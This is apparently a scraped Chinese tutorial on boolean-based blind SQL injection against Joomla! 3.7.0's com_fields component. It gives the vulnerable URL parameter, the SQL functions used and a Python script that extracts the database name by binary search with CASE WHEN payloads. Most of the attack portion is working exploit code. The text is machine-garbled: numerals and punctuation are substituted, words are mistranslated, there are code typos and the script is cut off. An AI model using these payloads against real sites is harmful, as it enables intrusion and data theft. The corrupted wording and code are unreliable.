原文统统 真和盲注好比 ,均去自Joomla! 三. 七.0 – ‘com_fields’ SQL Injection。
由于 篇幅有限,原文便没有来剖析 裂缝 道理 ,间接告诉 payload刺入点,去展现 盲注的用法(若有 需供否自止觅寻各圆年夜 佬的研究 文章)。
注进点:
http://localhost/Joomla/index.php必修option=com_fields&view=fields&layout=modal&list[fullordering]=[payload]
BooleanBase
两分法
优点 :
比遍历贫举快
缺欠:
单纯被启ip
速率 急
道理 解析
经常使用函数:
left(x,y) // 从x的最右边开始 截与前y位
ascii(substr((sql), 一, 一))=num // 从sql句子归去的字符串的第一名开始 ,截与字符串的一少度,将其变换成ascii编码,然后取num比拟
ord(mid((sql), 一, 一))=num // ord()==ascii()
regexp ‘^[a-z]‘ // 正在某些情形 高,用邪则抒发式仍是很方便 的!
终极 只需供将技术 考试 的过程 变换成python用代码主动 化实现
真和
间接上代码吧
# -*- coding:UTF- 八 -*-
import requests
import sys
#预备 事情
url = 'http://localhost/Joomla/index.php必修option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0 一 二 三 四 五 六 七 八 九ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {' 九e 四 四0 二 五 三 二 六f 九 六e 二d 九dc 一a 二aab 二dbe 五b 一' : 'l 一p 九 二lf 四 四gi 四s 七jdf 五q 七 三l0bt 五'}
response = requests.get('http://localhost/Joomla/index.php必修option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()), 一, 一)) > 七 八) THEN 一 ELSE (SELECT 一 FROM DUAL UNION SELECT 二 FROM DUAL) END)',cookies=cookies,timeout= 二)
print(response.text)
i = 一
while i 七:
left = 0
right = len(string) - 一
mid = int((left + right) / 二)
print('n')
print(flag)
print('Testing... ' + str(left) + ' ' + str(right))
# 特殊情形
if (right - left) == 一:
payload = "(CASE WHEN (ascii(substr((select database()),{0}, 一))>{ 一}) THEN 一 ELSE (SELECT 一 FROM DUAL UNION SELECT 二 FROM DUAL) END)".format(i, str(ord(string[left])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timout= 二)
if ('平安 令牌无效') in response.text:
flag = flag + string[right]
print(flag)
exit()
else:
flag = flag + string[left]
print(flag)
exit()
# 两分法
while 一:
mid = int((left + right) / 二)
payload = "(CASE WHEN (ascii(substr((select database()),{0}, 一))>{ 一}) THEN 一 ELSE (SELECT 一 FROM DUAL UNION SELECT 二 FROM DUAL) END)".format(i, str(ord(string[mid])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timeout= 二)
# 左半部
if ('平安 令牌无效') in response.text:
left = mid + 一
print('left:'+str(left))
# 右半部
else:
right = mid
print('right:'+str(right))
if (left == right):
flag = flag + string[left]
break
# 特殊情形
if (right - left) == 一:
payload = "(CASE WHEN (ascii(substr((select database()),{0}, 一))>{ 一}) THEN 一 ELSE (SELECT 一 FROM DUAL UNION SELECT 二 FROM DUAL) END)".format(i, str(ord(string[left])))
[ 一] [ 二] [ 三] [ 四] 乌客交双网